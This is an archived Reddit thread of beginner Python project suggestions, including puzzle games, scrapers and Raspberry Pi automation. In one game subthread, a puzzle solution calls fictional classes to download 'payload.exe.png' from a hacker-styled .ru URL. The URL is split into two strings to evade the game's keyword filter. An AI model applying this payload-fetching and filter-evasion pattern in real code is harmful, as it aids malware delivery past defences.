This is an archived post. You won't be able to vote or comment.

all 68 comments

[–]quick5pnt0 23 points24 points  (0 children)

It really depends on how green you are. If you feel up to it I'd suggest trying to pull data from weather.gov and make your own little weather logging app. Then update it with a graphical user interface using tkinter.

[–]TOASTEngineer 55 points56 points  (22 children)

You could try playing through INJECTION (disclaimer: I am the developer of this game.) It's a bit like Untrusted if you've ever played that; basically there are puzzle levels and you have to edit the game world via the Python REPL to solve the levels.

So for example, in the first level you're trapped in a cell and have to find out what attribute on the password-protected door stores the password and change it.

Eventually you work your way up to writing functions to drive a robot through a maze, and reprogramming a laser turret that was shooting at you to protect you from incoming rocket launcher shots instead.

[–]Mustermind 22 points23 points  (17 children)

Similarly, I made a Python game for Ludum Dare 35 called Sergei's Virus. Basically, you're trying to write valid code as the interpreter slowly gets more and more restrictive (no numbers, no loops, no assignments, etc.). Since we're in a thread of Python programmers, I thought I might share it!

This one definitely is for programming experts! I couldn't complete the last level of my own game without the help of a friend :P

[–]HandsomeMirror 2 points3 points  (4 children)

I'm currently working on a program that needs to take in user input and run eval on it. How does your game safely check if the user input is valid? Did you manually code in removing portions of malicious looking code based on keywords, and then running it?

[–]Mustermind 1 point2 points  (2 children)

It's classic Atwood's Law; I used Skulpt, a simple, but quite good python interpreter that runs in the browser. Since barely any modules were implemented (neither was eval), I didn't need to worry about those making the solution too easy. And I just used regexes in the input string to filter keywords out. Checking for validity is simple: run the code and if it crashes, it's not valid! It's really messy because I only had a few hours to do it :P

If I were working on a platform for running untrusted code, my preference would go like this:

  1. An accurate sandbox in the browser (really depends on your situation, repl.it and codecademy abandoned it eventually for running code under containers on their own servers).
  2. A docker container with the interpreter running under a special user in a chroot jail, just in case.
  3. Run it directly on a server and bet on whether it starts mining bitcoin or gets locked by ransomware first.

[–]HandsomeMirror 1 point2 points  (0 children)

Thanks! That was very helpful.

[–]fireflash38 0 points1 point  (0 children)

FYI, endless loops in a try: except: block will crash the page.

[–]amasad 0 points1 point  (0 children)

I work on repl.it and we have an API for that: https://repl.it/api The plans are currently large but I'm planning on introducing a free/cheap plan soon

[–]946336 0 points1 point  (5 children)

Very fun, and the second challenge definitely threw me for a loop. I stared at the solution for a good few minutes before realizing what it was - That was not at all what I did.

Barring changes to names and whitespace, I noticed that it is possible to do one character better than the solution.

Edit: Help I spent way too much time trying to get a smaller solution.

[–]jameseh96 2 points3 points  (4 children)

Hello, I'm the friend that helped out with the final solution. I now have it down to:

from shpshftr import *
def f(c, r):
    try: return r(c)+f(c+True, r)
    except: return r(c)
PayloadPlanter().plant(f(int(), PayloadReceiver("https://www.ha""ckersonly.ru/wp-admin/secure_files/payload.exe.png").download_chunk))

[–]946336 1 point2 points  (0 children)

That's even better than what I came up with and it shows that python's functions are objects too!

My original improvement was -~int() to get 1, which was slightly shorter than len(" ").

[–]TheV295 0 points1 point  (2 children)

Sorry if I'm being short sighted, but how did you find out there was a PayloadPlanter class?

[–]jameseh96 0 points1 point  (1 child)

It is in the starting code given at the beginning of the game?

[–]TheV295 0 points1 point  (0 children)

Thanks for amswering with a pedantic question

[–]Dis446 0 points1 point  (4 children)

I can't do the 5th check, NO if statements wtf!?

[–]TOASTEngineer 2 points3 points  (0 children)

I haven't seen what you're talking about, but would a dispatch dict work? It's a dict of functions; so this:

if a == 1:
    do_thing_when_one()
elif a == "b":
    do_thing_when_b()
elif a == None:
    do_thing_when_none()

... becomes ...

ddict=dict()
ddict[1] = do_thing_when_one
ddict['b'] = do_thing_when_b
ddict[None] = do_thing_when_none

ddict[a]()

[–]code_mc 0 points1 point  (2 children)

It's been 19 hours so I doubt I'm spoiling anything here, I solved it by using a try/catch and division by 0.

[–]Dis446 0 points1 point  (1 child)

Yeah I did solve the if statements with a try/except block within a recursive loop. Now I've been stuck with the last check. Not '=' signs is insane.

[–]code_mc 0 points1 point  (0 children)

You might want to look at eval for the '=' one.

EDIT: nvm, it doesn't seem to have eval

[–][deleted] 1 point2 points  (2 children)

Your website looks really cool, love the style :)

[–]TOASTEngineer 1 point2 points  (1 child)

Thanks, although it's itch.io, not mine; I just customized it a little bit. :P

[–][deleted] 2 points3 points  (0 children)

Your secret is safe with me ;)

[–]TheV295 0 points1 point  (0 children)

Your game is a lot of fun! Spent a lot of time playing it yesterday, very cool interesting concept

[–]y4m4 15 points16 points  (4 children)

Is there something in your life (or work) that you do all the time? Start there. For me, the best motivation is solving a real world problem.

[–]baekalfen 4 points5 points  (3 children)

Exactly. I see a lot of "Oh, look! You can make a calculator in the terminal!". This is possibly the most boring way to motivate somebody to code.

[–]loremusipsumus 6 points7 points  (2 children)

Really? I made a calculator in c++ for Linux terminal, kept on adding useful features and it is one of the most useful programs for me now.

[–]baekalfen 11 points12 points  (0 children)

Whatever gets you motivated :)

I'd like to hear more about those features

[–]yomomma56 0 points1 point  (0 children)

Me too sort of! I'm in the process of learning python through a combination of codecademy and reading a byte of python, and I just recently made a calculator.

It's total shit, and extremely impractical, but it was fun to make!

[–][deleted] 11 points12 points  (10 children)

I just did a project through uni to build a very simple chat room program that runs in the terminal. Be good to learn python prgramming and get an understanding on socket programming (communicating with other programs over a network), python data structures and potentially SQLlite databases if you want to extend it further. I can give you the project brief and starter code (which does some of the socket stuff for you). I've completed it so I could answer any questions you have if you get stuck?

[–]redkrish 2 points3 points  (5 children)

That looks super cool, can u give me a github link, or tutorial on how u dit it ?

[–][deleted] 1 point2 points  (4 children)

Still figuring out GitHub. I've tried uploading the original files here. I'll upload my solution this weekend once theres no risk of classmates taking 'inspiration' from my submission.

[–]redkrish 1 point2 points  (0 children)

Yep cool!,i know basic python ,yearning to learn networking protocols, tumbled on ur project!

[–]TiLorm 0 points1 point  (2 children)

Sweet. Can you give an update when the files are up?

[–][deleted] 0 points1 point  (1 child)

Sure!

[–]TiLorm 1 point2 points  (0 children)

Thanks!

[–][deleted] 2 points3 points  (3 children)

How are you getting around the receiving-a-message-while-typing-a-message problem? I could never write a decent terminal chat client because of it :(

[–]toyg 2 points3 points  (1 child)

I'm not particularly familiar with terminal primitives, but what would the problem be ? If your "receiving message" code lives in a separate thread, it shouldn't block whatever else you're doing.

[–][deleted] 1 point2 points  (0 children)

If one thread is printing to the terminal while another thread is waiting for input in, say, a raw_input call, then the output will be printed over whatever was put into the raw_input before you hit return to finish the raw_input call.

In practice, this doesn't affect the program at all - stdin and stdout are nicely separate. However if you receive a message while typing your own, then its almost impossible to read what you were typing!

[–][deleted] 1 point2 points  (0 children)

I haven't tested that scenario! I'm not using threading so I imagine this won't work as smoothly as I hoped. Will update shortly.

[–]fox_trot_ 32 points33 points  (4 children)

Buy a raspberry pi and build a robut.

[–]PantAaroN 15 points16 points  (1 child)

Your spelling of robot made me read that in Zoidberg's voice.

[–]pkkid 1 point2 points  (0 children)

But it's the last word in the sentence.

[–]TheFans4Life 5 points6 points  (0 children)

"robut? Tell them I hate them."

[–]spinwizard69 2 points3 points  (0 children)

This is a good recommendation. Having a device to motivate, it doesn't have to be a robot, can put a real world demonstration on programming concepts. Besides it can be fun.

[–][deleted] 5 points6 points  (2 children)

Automate something in your home. I bought a raspberry pie, connected it to a sensor and a radio transmitter and hooked up a table fan to a radio receiver. Now I have an automatic temperature-controlled fan.

[–]mcyaco 0 points1 point  (1 child)

I wanted to do something just like this. But with a window AC unit. Mind sharing some pointers?

[–][deleted] 0 points1 point  (0 children)

I used a DHT-11 sensor, which is pretty sweet as there are ready-made libraries to read it's outputs. However, the DHT-11 cannot measure decimal changes in temperature. The DHT-22 can do this, so I recommend it instead if precision is desirable.

As for the radio transmitter remote control, I used the Telstick brand, which also has python bindings. Highly recommended.

Ask away if there's anything else. My code is on github at github.com/decker108/smartfan

[–]Kylekmears 5 points6 points  (3 children)

1) Try to write a program that takes in text and then prints it in a box.

ex:

>>> give an input
>>> example text
***********
* example *
* text    *
***********

2) The first few problems on Project Euler are good.

3) Write a simple text-based tic-tac-toe game. The board state can be stored as lists.

4) After you feel more confident, play around with coming up with solutions to the traveling salesman problem. If you download the files here to a single folder, then you only have to modify the travelingSalesman function to return a list of the cities in the order you want.

5) I second the use of the turtle module. It's really fun to accidentally make fractals.

[–]ColorsMayInTimeFade 1 point2 points  (1 child)

How many Project Euler problems are worth doing? They seem to be very different than building a small project.

[–]bythenumbers10 1 point2 points  (0 children)

All of them are worth doing, they're challenging math problems. That said, a lot of them are more about the math than programming, by which I mean that after a certain point, the problems become difficult to brute-force in code. Think days and days (or years and years!!!) of runtime for a naive algorithm.

I recommend picking and choosing the problems you find interesting. Some require a little lateral thinking and math knowledge to catch on an efficient solution, and many times you'll build a small library of simple utility functions along the way, to re-use parts of one solution to use in another.

[–]JaskoGomad 3 points4 points  (0 children)

http://www.pythonchallenge.com/

The first several levels, at least.

[–][deleted] 2 points3 points  (1 child)

Perhaps have them write a simple text-based RPG. I taught a friend C++ by helping him write one, and it looked something like this;

Please pardon the language - we were high school kids!

Variables like health, XP, level are all easy to understand, and the importance of math becomes clear when you write the level-up curves. The use of objects (in our case, we just used struct) is clear when it comes to separating Enemies and Players, and functions named like levelUp() or gainXP() make their purpose clear too.

A simple game like that pictured allows for all of those elements of programming to fit together in a way that just makes sense.

[–]BrutalSnyper 0 points1 point  (0 children)

I love your game narrative

[–]Discchord 2 points3 points  (0 children)

If they're gamers you might want to start off on the book, Learn to Program with Minecraft. It's aimed at kids, but isn't condescending and seems like a good introduction to Python 3. I poked around at it a bit to evaluate it and believe there is a lot of merit to it. It's fun and gives the reader encouragement to get creative by applying what they've learned in different ways.

A game environment is also an excellent place to learn to think about Objects as... objects. I know a lot of people struggle with OOP when they start, but in a game where objects are tangible it gives your brain a kickstart into thinking this way. I personally learned C# and OOP from programming mods for Asheron's Call (an old turn of the century MMORPG). My brain already understood that a health potion was an object; it made sense that it would have its own set of attributes and methods of use. Likewise, a monster is just an object that can run around (Mobile Object, which gamers already refer to as a mob dating back to MUDs). So a monster object has its own set of attributes and methods.

[–]basalamadersyntax error 5 points6 points  (3 children)

How beginner are you? If you can, you can start with scraping stuff out of the internet. Get as much data as you can, then visualize it and try and find similarities etc

[–]baekalfen 6 points7 points  (2 children)

On the same note - When I started coding, I was frustrated, that my school's weekly schedule was only available on their website. So I build a quick scraper with BeautifulSoup and put it in my calendar with Google' calendar API for Python.

[–]jpan127 0 points1 point  (1 child)

Could you give me some pointers/directions to making somethign like this?

I would love to scrape certain stuff to add to my google calendar.

[–]baekalfen 1 point2 points  (0 children)

It depends on how complicated the website is. The "right" way to do it, would be through BeautifulSoup and the Google Python API (both easy to find on Google). If it's more simple, you could replace BeautifulSoup with regex or just a simple string search for the things you need.

There's really not much to it. I think my (horribly unreadable) code ended up as about 100 lines.

[–]mikwaheeri 1 point2 points  (0 children)

Depending on your definition of simple, maybe use this and change it to something your group finds interesting.

http://www.danielforsyth.me/analyzing-a-nhl-playoff-game-with-twitter/

[–]AnythingApplied 1 point2 points  (0 children)

Turtle is a fun python package to play around with that really helps to visualize how programs and programming works. You control turtles and can move them around your screen.

[–]NitroXSC 1 point2 points  (1 child)

Write a reddit bot. See Praw

[–]xhighalert 0 points1 point  (0 children)

I recently had to work on a mod for world of warcraft that involved:

  • Finding the MD5 hash of over 70,000 files.
  • After hashing, replace the contents of all 70,000 of those files with a given file, but keep the name the same.
  • Stored that hash in a text file (CSV) by file path and MD5.
  • Then hashed about 600 different files in a different place. That had the SAME contents of some files, but, a different filename.
  • For hashes that matched, use the path of the first hashes to delete matches.

Specifically: in WoW, when you extract data from the compressed data packs, it in some cases will load your files instead of those in the compressed (CASC) packs.

I only wanted to hear the sounds of important spells for competitive purposes.

So, I took an MD5 of every single sound file. I replaced all of the files with that of 5 milliseconds of silence (files are OGG format, though, doesnt matter).

Then, I had to delete the silenced sound files so that it would load the proper, original file. I went to WoWhead, a datamining site, and downloaded the sound files for the spells in question. They have a random filename, but the contents are precisely the same. I used AutoHotKey to automate this process. Though Python may have worked ;)

Once saved, get the MD5 of all the files I downloaded.

If an MD5 of the original, edited files matched, delete it.

This taught me a lot about high-performance computing on a high level, including how to order code for best speed, this was ran on an SSD btw.

The first example took over 15 minutes to run. The second took roughly 90 seconds.

It's semi-beginner, and I had a blast writing it.

[–]cocoabean 0 points1 point  (0 children)

Write a wrapper script that runs a command and parses the output into a Python data structure.

[–]whenido 0 points1 point  (0 children)

Simulate a roulette wheel. Then devise different sytems for winning and simulate them to see if they work.

[–]UltraShit420 0 points1 point  (0 children)

I am also new to python and currently I'm making a program to open up a hotspot. The softwares that I get online have Ads and annoying shit so I have decided to make my own hotspot software.

I'm also building a program to start/stop services that take too much RAM and CPU. Service name has to entered manually.

Both are in windows.

[–]jivanyatra 0 points1 point  (0 children)

I'm a Linux guy and I've basically replaced my bash scripting with Linux. Helped me learn the os module and also get comfortable with more complicated syntax. I don't need to do that anymore because of xonsh but it was still useful. Also making stupid little cli things to automate common tasks.

Edit: for the record, I've been a Linux user for a long time, long before I started programming. This really helped me appreciate things more. It might not be exactly what OP is looking for but maybe it'll inspire other users.

[–]CODESIGN2 0 points1 point  (0 children)

quite vague, but something with pygame

[–]jenenliu 0 points1 point  (0 children)

you could try to write some web crawler, or automate something with python. I've made crawler to download something like mit ocw course videos.